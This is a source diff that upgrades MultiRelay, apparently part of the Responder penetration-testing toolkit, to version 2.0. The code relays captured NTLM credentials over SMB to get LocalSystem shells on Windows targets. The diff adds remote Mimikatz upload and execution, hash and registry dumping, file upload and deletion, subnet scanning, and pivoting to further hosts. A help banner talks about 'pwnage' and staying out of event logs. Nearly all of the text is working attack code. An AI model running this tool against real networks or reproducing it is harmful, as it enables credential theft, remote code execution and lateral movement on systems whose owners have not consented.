-
+try:
+    import readline
+except:
+    print "Warning: readline module is not available, you will not be able to use the arrow keys for command history" 
+    pass
 from MultiRelay.RelayMultiPackets import *
 from MultiRelay.RelayMultiCore import *
 
-from SMBFinger.Finger import RunFinger
+from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan
 sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
 from socket import *
 
-__version__ = "1.2"
+__version__ = "2.0"
+
+
+MimikatzFilename    = "./MultiRelay/bin/mimikatz.exe"
+Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
+RunAsFileName       = "./MultiRelay/bin/Runas.exe"
+SysSVCFileName      = "./MultiRelay/bin/Syssvc.exe"
+
 
 def UserCallBack(op, value, dmy, parser):
     args=[]
     for arg in parser.rargs:
         if arg[0] != "-":
             args.append(arg)
+        if arg[0] == "-":
+            break
     if getattr(parser.values, op.dest):
         args.extend(getattr(parser.values, op.dest))
     setattr(parser.values, op.dest, args)
 
-parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
+parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0])
 parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
 parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
 parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
@@ -67,31 +82,37 @@ if options.UserToRelay is None:
 if options.ExtraPort is None:
     options.ExtraPort = 0
 
-OneCommand = options.OneCommand
-Dump = options.Dump
-ExtraPort = options.ExtraPort
-UserToRelay = options.UserToRelay
-Host = options.TARGET, 445
-Cmd = []
-ShellOpen = []
+if not os.geteuid() == 0:
+    print color("[!] MultiRelay must be run as root.")
+    sys.exit(-1)
+
+OneCommand       = options.OneCommand
+Dump             = options.Dump
+ExtraPort        = options.ExtraPort
+UserToRelay      = options.UserToRelay
+
+Host             = [options.TARGET]
+Cmd              = []
+ShellOpen        = []
+Pivoting         = [2]
+
 
 def color(txt, code = 1, modifier = 0):
 	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
 
 def ShowWelcome():
-     print color('\nResponder MultiRelay to SMB NTLMv1/2',8,1)
-     print color('Version: '+__version__,8,1)
+     print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1)
      print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com'
      print 'Usernames to relay (-u) are case sensitive.'
      print 'To kill this script hit CRTL-C.\n'
+     print color('/*',8,1)
      print 'Use this script in combination with Responder.py for best results.'
+     print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n'
      print 'This tool listen on TCP port 80, 3128 and 445.'
-     print 'Make sure nothing use these ports.\n'
-     print 'For optimal pwnage, launch Responder with only these 2 options:'
-     print '-rv\nRunning psexec style commands can be noisy in the event viewer,'
-     print 'if anyone ever reads it.. If you want to leave no trace in the'
-     print 'event viewer, use Responder\'s built-in commands. They silently'
-     print 'perform the tasks requested, including the hashdump command.'
+     print 'For optimal pwnage, launch Responder only with these 2 options:'
+     print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.'
+     print 'If you do so, use taskkill (as system) to kill the process.'
+     print color('*/',8,1)
      print color('\nRelaying credentials for these users:',8,1)
      print color(UserToRelay,4,1)
      print '\n'
@@ -105,6 +126,14 @@ def ShowHelp():
      print color('regdump KEY',8,1)+'        -> Dump an HKLM registry key (eg: regdump SYSTEM)'
      print color('read Path_To_File',8,1)+'  -> Read a file (eg: read /windows/win.ini)'
      print color('get  Path_To_File',8,1)+'  -> Download a file (eg: get users/administrator/desktop/password.txt)'
+     print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)'
+     print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\'
+     print color('runas  Command',8,1)+'     -> Run a command as the currently logged in user. (eg: runas whoami)'
+     print color('scan /24',8,1)+'           -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
+     print color('pivot  IP address',8,1)+'  -> Connect to another host (eg: pivot 10.0.0.12)'
+     print color('mimi  command',8,1)+'      -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)'
+     print color('mimi32  command',8,1)+'    -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)'
+     print color('lcmd  command',8,1)+'      -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
      print color('help',8,1)+'               -> Print this message.'
      print color('exit',8,1)+'               -> Exit this shell and return in relay mode.'
      print '                      If you want to quit type exit and then use CRTL-C\n'
@@ -112,7 +141,14 @@ def ShowHelp():
 
 Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
 Logs = logging
-Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
+Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
+
+def UploadContent(File):
+    with file(File) as f:
+        s = f.read()
+    FileLen = len(s)
+    FileContent = s
+    return FileLen, FileContent
 
 try:
     RunFinger(Host[0])
@@ -137,21 +173,26 @@ def IsShellOpen():
     else:
        return True
 
+#Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting.
+def IsPivotOn():
+    #While there's nothing in our array return false.
+    if Pivoting[0] == "2":
+       return False
+    #If there is return True.
+    if Pivoting[0] == "1":
+       return True
+
 def ConnectToTarget():
         try:
             s = socket(AF_INET, SOCK_STREAM)
-            #Override TCP keep-alives
-            s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
-            s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
-            s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
-            # macOS does not have TCP_KEEPIDLE
-            if sys.platform != 'darwin':
-                s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
-            s.connect(Host)  
+            s.connect((Host[0],445))  
             return s
         except:
-            "Cannot connect to target, host down?"
-            sys.exit(1)
+            try:
+                sys.exit(1)
+                print "Cannot connect to target, host down?"
+            except:
+                pass
 
 class HTTPProxyRelay(BaseRequestHandler):
      
@@ -161,6 +202,8 @@ class HTTPProxyRelay(BaseRequestHandler):
             #Don't handle requests while a shell is open. That's the goal after all.
             if IsShellOpen():
                return None
+            if IsPivotOn():
+               return None
         except:
             raise
 
@@ -202,7 +245,7 @@ class HTTPProxyRelay(BaseRequestHandler):
                     ## Send HTTP Proxy
 	            Buffer_Ans = WPAD_NTLM_Challenge_Ans()
 		    Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
-                    key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing).
+                    key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
 		    self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
                     data = self.request.recv(8092)
                     NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@@ -219,21 +262,22 @@ class HTTPProxyRelay(BaseRequestHandler):
                         else:
                             #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
                             #and has not attempted before. While at it, let's grab his hash.
-                            Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host)
+                            Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
 
                             if Username is not None:
                                 head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
                                 t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
                                 t.calculate()
                                 packet1 = str(head)+str(t)
-                                buffer1 = longueur(packet1)+packet1  
+                                buffer1 = longueur(packet1)+packet1
                                 print "[+] SMB Session Auth sent."
                                 s.send(buffer1)
                                 smbdata = s.recv(2048)
    	                        RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
                                 if RunCmd is None:
-                                    s.close()
-                                    return None
+                                   s.close()
+	                           self.request.close()
+                                   return None
 
 	    else:
                 ##Any other type of request, send a 407.
@@ -254,6 +298,8 @@ class HTTPRelay(BaseRequestHandler):
             #Don't handle requests while a shell is open. That's the goal after all.
             if IsShellOpen():
                return None
+            if IsPivotOn():
+               return None
         except:
             raise
 
@@ -296,7 +342,7 @@ class HTTPRelay(BaseRequestHandler):
                     ## Send HTTP Response.
 	            Buffer_Ans = IIS_NTLM_Challenge_Ans()
 		    Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
-                    key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing).
+                    key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
 		    self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
                     data = self.request.recv(8092)
                     NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@@ -313,7 +359,7 @@ class HTTPRelay(BaseRequestHandler):
                         else:
                             #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
                             #and has not attempted before. While at it, let's grab his hash.
-                            Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host)
+                            Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
 
                             if Username is not None:
                                 head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
@@ -326,8 +372,9 @@ class HTTPRelay(BaseRequestHandler):
                                 smbdata = s.recv(2048)
    	                        RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
                                 if RunCmd is None:
-                                    s.close()
-                                    return None
+                                   s.close()
+	                           self.request.close()
+                                   return None
 
 	    else:
                 ##Any other type of request, send a 407.
@@ -352,7 +399,6 @@ class SMBRelay(BaseRequestHandler):
             raise
 
         s = ConnectToTarget()
-
         try:
             data = self.request.recv(4096)
 
@@ -368,7 +414,7 @@ class SMBRelay(BaseRequestHandler):
             ## Make sure it's not a Kerberos auth.
             if data.find("NTLM") is not -1:
                ## Start with nego protocol + session setup negotiate to our target.
-               data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s)
+               data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
 
             ## Make sure it's not a Kerberos auth.
             if data.find("NTLM") is not -1:
@@ -394,21 +440,23 @@ class SMBRelay(BaseRequestHandler):
                 packet1 = str(head)+str(t)
                 buffer1 = longueur(packet1)+packet1
                 self.request.send(buffer1)
-                #data = self.request.recv(4096) ##Make him feel bad, ditch the connection.
                 s.close()
                 return None
 
             else:
                 #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
                 #and has not attempted before. While at it, let's grab his hash.
-                Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host)
+                Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
                 if Username is not None:
                     ##Got the ntlm message 3, send it over to SMB.
                     head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
                     t = data[36:]#Final relay.
                     packet1 = str(head)+str(t)
-                    buffer1 = longueur(packet1)+packet1  
-                    print "[+] SMB Session Auth sent."
+                    buffer1 = longueur(packet1)+packet1
+                    if Pivoting[0] == "1":
+                       pass
+                    else:
+                       print "[+] SMB Session Auth sent."
                     s.send(buffer1)
                     smbdata = s.recv(4096)
                     #We're all set, dropping into shell.
@@ -428,32 +476,44 @@ class SMBRelay(BaseRequestHandler):
                    buffer1 = longueur(packet1)+packet1
                    self.request.send(buffer1)
                    data = self.request.recv(4096)
-                   s.close()
+                   self.request.close()
                    return None
 
         except Exception:
-            s.close()
 	    self.request.close()
             ##No need to print anything (timeouts, rst, etc) to the user console..
 	    pass
 
 
 #Interface starts here.
-def RunShellCmd(data, s, clientIP, Host, Username, Domain):
+def RunShellCmd(data, s, clientIP, Target, Username, Domain):
+
+    #Let's declare our globals here..
+    #Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode.
+    global Pivoting
+    #Update Host, when pivoting is used.
+    global Host
+    #Make sure we don't open 2 shell at the same time..
+    global ShellOpen
+    ShellOpen = ["Shell is open"]
+
     # On this block we do some verifications before dropping the user into the shell.
     if data[8:10] == "\x73\x6d":
         print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target."
         print "[+] Hashes were saved anyways in Responder/logs/ folder.\n"
-        Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
+        Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
+        del ShellOpen[:]
         return False
 
     if data[8:10] == "\x73\x8d":
         print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
-        Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
+        Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
+        del ShellOpen[:]
         return False
 
     if data[8:10] == "\x73\x5e":
         print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
+        del ShellOpen[:]
         return False
 
     ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:    
@@ -461,7 +521,7 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
     if data[8:10] == "\x73\x00":
         GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
         head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-        t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
+        t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$")
         t.calculate() 
         packet1 = str(head)+str(t)
         buffer1 = longueur(packet1)+packet1  
@@ -470,20 +530,28 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
 
     ## Nope he doesn't.
     if data[8:10] == "\x75\x22":
-        print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
-        Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
+        if Pivoting[0] == "1":
+           pass
+        else:
+           print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
+           Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
+        del ShellOpen[:]
         return False
 
     # This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. 
     if data[8:10] == "\x75\xcc":
         print "[+] Tree Connect AndX denied. Bad Network Name returned."
+        del ShellOpen[:]
         return False
 
     ## Tree Connect on C$ is successfull.
     if data[8:10] == "\x75\x00":
-        print "[+] Looks good, "+Username+" has admin rights on C$."
+        if Pivoting[0] == "1":
+           pass
+        else:
+           print "[+] Looks good, "+Username+" has admin rights on C$."
         head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-        t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
+        t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")
         t.calculate() 
         packet1 = str(head)+str(t)
         buffer1 = longueur(packet1)+packet1  
@@ -495,19 +563,21 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
         print "[+] Authenticated."
         if OneCommand != None:
            print "[+] Running command: %s"%(OneCommand)
-           RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host)
+           RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0])
         if Dump:
            print "[+] Dumping hashes"
-           DumpHashes(data, s, Host)
+           DumpHashes(data, s, Target[0])
         os._exit(1)
 
     ## Drop into the shell.
     if data[8:10] == "\x75\x00" and OneCommand == None:
-        print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
-        ShowHelp()
-        #Make sure we don't open 2 shell at the same time..
-        global ShellOpen
-        ShellOpen = ["Shell is open"]
+        if Pivoting[0] == "1":
+           pass
+        else:
+           print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
+           ShowHelp()
+        Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired")
+        print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
 
     while True:
 
@@ -515,50 +585,166 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
         if data[8:10] == "\x75\x00":
             #start a thread for raw_input, so we can do other stuff while we wait for a command.
             t = Thread(target=get_command, args=())
+            t.daemon = True
             t.start()
-            t.join()
-            #For now, this is not functionning as expected. The SMB echos are killing the connection
-            #way faster than if we let the connection time_wait (after 2 tree connect [1 IPC & 1 C$]) itself.
-            #So let's use the tree connects wait (average time before timeout:5-12h)
-            """
+
+            #Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation 
+            #to maintain MultiRelay alive and well.
+            count = 0
+            DoEvery = random.randint(10, 45)
             while any(x in Cmd for x in Cmd) is False:
+                count = count+1
                 SMBKeepAlive(s, data)
-                time.sleep(20)
-                pass
-            """
+                if count == DoEvery:
+                   DumbSMBChain(data, s, Target[0])
+                   count = 0
+                if any(x in Cmd for x in Cmd) is True:
+                   break
 
             ##Grab the commands. Cmd is global in get_command().
-            Read    = re.findall(r'(?<=read )[^\r]*', Cmd[0])
-            RegDump = re.findall(r'(?<=regdump )[^\r]*', Cmd[0])
-            Get     = re.findall(r'(?<=get )[^\r]*', Cmd[0])
-            Help    = re.findall(r'(?<=help)[^\r]*', Cmd[0])
+            DumpReg = re.findall('^dump', Cmd[0])
+            Read    = re.findall('^read (.*)$', Cmd[0])
+            RegDump = re.findall('^regdump (.*)$', Cmd[0])
+            Get     = re.findall('^get (.*)$', Cmd[0])
+            Upload  = re.findall('^upload (.*)$', Cmd[0])
+            Delete  = re.findall('^delete (.*)$', Cmd[0])
+            RunAs   = re.findall('^runas (.*)$', Cmd[0])
+            LCmd    = re.findall('^lcmd (.*)$', Cmd[0])
+            Mimi    = re.findall('^mimi (.*)$', Cmd[0])
+            Mimi32  = re.findall('^mimi32 (.*)$', Cmd[0])
+            Scan    = re.findall('^scan (.*)$', Cmd[0])
+            Pivot   = re.findall('^pivot (.*)$', Cmd[0])
+            Help    = re.findall('^help', Cmd[0])
 
             if Cmd[0] == "exit":
-               print "[+]Returning in relay mode."
+               print "[+] Returning in relay mode."
                del Cmd[:]
                del ShellOpen[:]
                return None
 
-            ##For all of the following commands we send the data (var:data) returned by the 
+            ##For all of the following commands we send the data (var: data) returned by the 
             ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. 
             ##We also clean up the command array when done.
-            if Cmd[0] == "dump":
-               data = DumpHashes(data, s, Host)
+            if DumpReg:
+               data = DumpHashes(data, s, Target[0])
                del Cmd[:]
 
             if Read:
                File = Read[0]
-               data = ReadFile(data, s, File, Host)
+               data = ReadFile(data, s, File, Target[0])
                del Cmd[:]
 
             if Get:
                File = Get[0]
-               data = GetAfFile(data, s, File, Host)
+               data = GetAfFile(data, s, File, Target[0])
+               del Cmd[:]
+
+            if Upload:
+               File = Upload[0]
+               if os.path.isfile(File):   
+                  FileSize, FileContent = UploadContent(File)
+                  File = os.path.basename(File)
+                  data = WriteFile(data, s, File,  FileSize, FileContent, Target[0])
+                  del Cmd[:]
+               else:
+                  print File+" does not exist, please specify a valid file."
+                  del Cmd[:]
+
+            if Delete:
+               Filename = Delete[0]
+               data = DeleteFile(data, s, Filename, Target[0])
                del Cmd[:]
 
             if RegDump:
                Key = RegDump[0]
-               data = SaveAKey(data, s, Host, Key)
+               data = SaveAKey(data, s, Target[0], Key)
+               del Cmd[:]
+
+            if RunAs:
+               if os.path.isfile(RunAsFileName):   
+                  FileSize, FileContent = UploadContent(RunAsFileName)
+                  FileName = os.path.basename(RunAsFileName)
+                  data = WriteFile(data, s, FileName,  FileSize, FileContent, Target[0])
+                  Exec = RunAs[0]
+                  data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName)
+                  del Cmd[:]
+               else:
+                  print RunAsFileName+" does not exist, please specify a valid file."
+                  del Cmd[:]
+
+            if LCmd:
+               subprocess.call(LCmd[0], shell=True) 
+               del Cmd[:]
+
+            if Mimi:
+               if os.path.isfile(MimikatzFilename):   
+                  FileSize, FileContent = UploadContent(MimikatzFilename)
+                  FileName = os.path.basename(MimikatzFilename)
+                  data = WriteFile(data, s, FileName,  FileSize, FileContent, Target[0])
+                  Exec = Mimi[0]
+                  data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
+                  del Cmd[:]
+               else:
+                  print MimikatzFilename+" does not exist, please specify a valid file."
+                  del Cmd[:]
+
+            if Mimi32:
+               if os.path.isfile(Mimikatzx86Filename):   
+                  FileSize, FileContent = UploadContent(Mimikatzx86Filename)
+                  FileName = os.path.basename(Mimikatzx86Filename)
+                  data = WriteFile(data, s, FileName,  FileSize, FileContent, Target[0])
+                  Exec = Mimi32[0]
+                  data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
+                  del Cmd[:]
+               else:
+                  print Mimikatzx86Filename+" does not exist, please specify a valid file."
+                  del Cmd[:]
+
+            if Pivot:
+               if Pivot[0] == Target[0]:
+                  print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
+                  del Pivot[:]
+                  del Cmd[:]
+               else:
+                  if ShowSigning(Pivot[0]):
+                     del Pivot[:]
+                     del Cmd[:]
+                  else:
+                     if os.path.isfile(RunAsFileName):   
+                        FileSize, FileContent = UploadContent(RunAsFileName)
+                        FileName = os.path.basename(RunAsFileName)
+                        data = WriteFile(data, s, FileName,  FileSize, FileContent, Target[0])
+                        RunAsPath = '%windir%\\Temp\\'+FileName
+                        Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName)
+
+                        if Status == True:
+                           print "[+] Pivoting to %s."%(Pivot[0])
+                           if os.path.isfile(RunAsFileName):   
+                              FileSize, FileContent = UploadContent(RunAsFileName)
+                              data = WriteFile(data, s, FileName,  FileSize, FileContent, Target[0])
+                              #shell will close.
+                              del ShellOpen[:]
+                              #update the new host.
+                              Host = [Pivot[0]]
+                              #we're in pivoting mode.
+                              Pivoting = ["1"]
+                              data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName)
+                              del Cmd[:]
+                              s.close()
+                              return None
+
+                        if Status == False:
+                           print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host."
+                           del Cmd[:]
+                           del Pivot[:]
+                     else:
+                        print RunAsFileName+" does not exist, please specify a valid file."
+                        del Cmd[:]
+
+            if Scan:
+               LocalIp = FindLocalIp()
+               Range = ConvertToClassC(Target[0], Scan[0])
+               RunPivotScan(Range, Target[0])
                del Cmd[:]
 
             if Help:
@@ -568,15 +754,23 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
             ##Let go with the command.
             if any(x in Cmd for x in Cmd):
                 if len(Cmd[0]) > 1:
-                   data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Host)
-                   del Cmd[:]
+                   if os.path.isfile(SysSVCFileName):   
+                      FileSize, FileContent = UploadContent(SysSVCFileName)
+                      FileName = os.path.basename(SysSVCFileName)
+                      RunPath = '%windir%\\Temp\\'+FileName
+                      data = WriteFile(data, s, FileName,  FileSize, FileContent, Target[0])
+                      data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName)
+                      del Cmd[:]
+                   else:
+                      print SysSVCFileName+" does not exist, please specify a valid file."
+                      del Cmd[:]
 
         if data is None:
-           print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure the server (\\Windows\\Temp\\) is clean\033[0m\n"
+           print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n"
 
         if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.  
             head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-            t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")#
+            t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")#
             t.calculate() 
             packet1 = str(head)+str(t)
             buffer1 = longueur(packet1)+packet1  
@@ -613,6 +807,11 @@ def main():
                time.sleep(1)
 
      except (KeyboardInterrupt, SystemExit):
+          ##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default.
+          ##This is a bug in python readline when dealing with raw_input()..
+          if ShellOpen:
+             os.system('stty sane')
+          ##Then exit
           sys.exit("\rExiting...")
 
 if __name__ == '__main__':

tools/MultiRelay/RelayMultiPackets.py

@@ -460,7 +460,42 @@ class SMBTreeConnectData(Packet):
         BccComplete    = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
         self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
 
+class SMBTreeDisconnect(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x00"),
+        ("Bcc","\x00\x00"),
+
+    ])
+
 class SMBNTCreateData(Packet):
+    fields = OrderedDict([
+        ("Wordcount",     "\x18"),
+        ("AndXCommand",   "\xff"),
+        ("Reserved",      "\x00" ),
+        ("Andxoffset",    "\x00\x00"),
+        ("Reserved2",     "\x00"),
+        ("FileNameLen",   "\x07\x00"),
+        ("CreateFlags",   "\x16\x00\x00\x00"),
+        ("RootFID",       "\x00\x00\x00\x00"),
+        ("AccessMask",    "\x9F\x01\x02\x00"),
+        ("AllocSize",     "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("FileAttrib",    "\x00\x00\x00\x00"),
+        ("ShareAccess",   "\x03\x00\x00\x00"),
+        ("Disposition",   "\x01\x00\x00\x00"),   
+        ("CreateOptions", "\x40\x00\x40\x00"),
+        ("Impersonation", "\x02\x00\x00\x00"),
+        ("SecurityFlags", "\x01"),
+        ("Bcc",           "\x08\x00"),
+        ("FileName",      ""),
+        ("FileNameNull",  "\x00"),
+    ])
+
+    def calculate(self):
+        Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
+        self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
+        self.fields["Bcc"] = struct.pack("<h",len(Data1))
+
+class SMBNTCreateDataSVCCTL(Packet):
     fields = OrderedDict([
         ("Wordcount",     "\x18"),
         ("AndXCommand",   "\xff"),
@@ -488,6 +523,15 @@ class SMBNTCreateData(Packet):
         self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
         self.fields["Bcc"] = struct.pack("<h",len(Data1))
 
+class SMBLockingAndXResponse(Packet):
+    fields = OrderedDict([
+        ("Wordcount",     "\x02"),
+        ("AndXCommand",   "\xff"),
+        ("Reserved",      "\x00"),
+        ("Andxoffset",    "\x00\x00"),  
+        ("Bcc",           "\x00\x00"),
+    ])
+
 class SMBReadData(Packet):
     fields = OrderedDict([
         ("Wordcount",     "\x0a"),
@@ -509,6 +553,31 @@ class SMBReadData(Packet):
         self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
 
 class SMBWriteData(Packet):
+    fields = OrderedDict([
+        ("Wordcount",     "\x0e"),
+        ("AndXCommand",   "\xff"),
+        ("Reserved",      "\x00" ),
+        ("Andxoffset",    "\xde\xde"),
+        ("FID",           "\x06\x40"),
+        ("Offset",        "\x00\x00\x00\x00"),
+        ("TimeOut",       "\x00\x00\x00\x00"),
+        ("WriteMode",     "\x01\x00"),
+        ("Remaining",     "\x00\x00"),
+        ("DataLenHi",     "\x00\x00"),
+        ("DataLenLow",    "\xdc\x02"),
+        ("DataOffset",    "\x40\x00"),
+        ("HiOffset",      "\x00\x00\x00\x00"),   
+        ("Bcc",           "\xdc\x02"),
+        ("Padding",       "\x41"),
+        ("Data", ""),
+    ])
+
+    def calculate(self):
+
+        self.fields["DataLenLow"] = struct.pack("<H",len(str(self.fields["Data"])))
+        self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
+
+class SMBDCERPCWriteData(Packet):
     fields = OrderedDict([
         ("Wordcount",     "\x0e"),
         ("AndXCommand",   "\xff"),
@@ -532,6 +601,8 @@ class SMBWriteData(Packet):
         self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
         self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
 
+
+
 class SMBTransDCERPC(Packet):
     fields = OrderedDict([
         ("Wordcount",             "\x10"),
@@ -591,7 +662,7 @@ class SMBDCEData(Packet):
